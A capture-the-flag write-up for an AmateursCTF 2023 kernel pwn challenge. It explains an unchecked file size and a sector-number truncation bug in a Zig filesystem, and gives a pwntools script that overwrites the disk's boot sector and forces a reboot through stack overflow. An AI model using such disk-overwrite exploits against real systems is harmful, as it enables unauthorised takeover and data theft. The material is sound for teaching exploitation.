By: unvariant

Tags: pwn AmateursCTF-2023

Problem Description:


Reveal Hints None

Provided files

  • dist.zip


When run locally, it spits out some initialization text and then a menu:

[+] entering mbrsector
[+] switching to bootsector
[+] enter bootsector
[+] switching to extended bootloader
[+] enter extended bootloader
[+] boot args:
- drive: 0x80
- partition: partitions.Partition{ .attributes = 128, .start_chs = 257, .type = 
1, .end_chs = 16143, .start_lba = 63, .sectors = 945 }
- index: 0
[+] init disk
FAT FS TYPE: fat32
[+] switching to bootstrap
[+] enter bootstrap stagenter code32
leave code32
enter code64
stack bottom: 0000000000FE0000
stack top: 00000000013E0000
first availible sector: 945

0. print flag variable
1. input program
2. echo on
3. echo off
4. exec file
5. open file
6. seek file
7. make file
8. write file

The menu code belongs to src/shell.zig and gives us a few options.

  • input program: executes an limited interpreted language that is not exploitable
  • echo on/echo off: toggles shell echo
  • exec file: feeds the current file’s contents through the interpreter
  • open file: opens a file handle
  • seek file: seeks to a position within the current file
  • make file: creates a file
  • write file: writes data to the current file

The bugs in this challenge is are problems in the implementation of the filesystem in src/fs.zig and src/disk.zig:

Arbitrary file size

The code that handles creating a file does not perform any sort of file size validation.

pub fn new(name: []const u8, size: usize) !*File {
    var file = try manager.create(File);
    try file.init(name, size);
    try files.put(name, file);
    return file;

Sector truncation

When writing to a sector, the write function accepts a relative sector of size usize but truncates the sector to a u28.

fn _write(relative: usize, buffer: [*]align(1) u16, sectors: u8) !void {
    var status: u8 = wait();

    const absolute = @truncate(u28, partition.start + relative);
    term.printf("writing to {} sectors to logical block {}\r\n", .{ sectors, absolute });

    // -- snip --

The two bugs allow arbitrary access to the underlying disk. If a large enough file is supplied, one can seek to an offset that when converted to disk sectors is truncated to an arbitrary disk sector of an attacker’s choosing.

pub const File = struct {
    name: []const u8,
    cache: [512]u8,
    sector: usize,
    size: usize,
    offset: usize,

    const Self = @This();

    // -- snip --

    pub fn write(self: *Self, buffer: []u8) !void {
        if (self.offset + buffer.len >= self.size) {
            return std.os.AccessError.InputTooLong;

        var result = self.offset + buffer.len;
        defer self.offset = result;
        defer self.reload() catch |err| die(err);

        try disk.write(self.sector + self.offset / 512, @ptrCast([*]align(1) u16, buffer)[0 .. buffer.len / 2]);

    pub fn seek(self: *Self, offset: usize) !void {
        if (offset >= self.size) {
            return std.os.AccessError.InputTooLong;
        self.offset = offset;
        try self.reload();

    // -- snip --

Using this out of bounds write to the disk, we can write to any sector of the disk. Sector 0 of the disk always contains the bootloader that the processor boots from, so we can overwrite the old bootloader with a new bootloader that dumps the disk to search for the flag.

However once the old bootloader is overwritten, the processor still needs to reboot in order to execute the new bootloader. This is where the interpreter comes into play. The interpreter makes heavy use of recursion, which can quickly overflow the stack of the application. Due to the application running in ring 0, as soon as the stack overflows the whole thing triple faults and reboots, executing our new bootloader.


from pwn import *
from subprocess import run

run(["nasm", "-f", "bin", "-o", "boot.bin", "boot.asm"], check=True)

if args.HOST and args.PORT:
    p = remote(args.HOST, args.PORT)
    p = remote("localhost", 5000)

""" wait for remote to catch up """
def wait():
    p.recvuntil(b"8. write file\n")

""" new bootloader """
bootcode = open("boot.bin", "rb").read()
assert len(bootcode) == 512
m28 = (1 << 28) - 1
""" read filesystem sector offset """
p.recvuntil(b"first availible sector: ")
offset = int(p.recvline().strip())
""" calculate offset to write to sector zero """
zero = (0 - 63 - offset & m28) * 512

log.info(f"offset: {offset}")

""" create massive file """
log.info(f"creating file")

""" seek to malicious offset """
log.info(f"seeking to offset")
p.send(b"6\n" + str(zero).encode() + b"\n")

""" write new bootloader """
log.info(f"writing new bootloader")
p.send(b"8\n512\n" + bootcode + b"\n")
p.recvuntil(b"writing to ")
count = int(p.recvuntil(b" ").strip(b" "))
p.recvuntil(b"sectors to logical block ")
sector = int(p.recvline().strip())
log.info(f"count: {count}, sector: {sector}")

""" disable echo to reduce output """
log.info(f"disabling echo")

""" force the interpreter to recurse and overflow the stack """
log.info(f"rebooting remote")
p.send(b"1\n" + b"{" * 0x2000 + b"\n")



Leak flag using exec errors

Using the same giant file / arbitrary seek bug from before, it is possible to leak the flag character by character using the file exec option because it immediately errors and leaks a character. Lesson learned. Dont create helpful errors.

iPXE command line tricks

If you overwrite the bootloader signature 0xAA55 and reboot, it fails to boot and allows access to the iPXE commandline. Once there it allows a dump of the disk which can be used to extract the flag.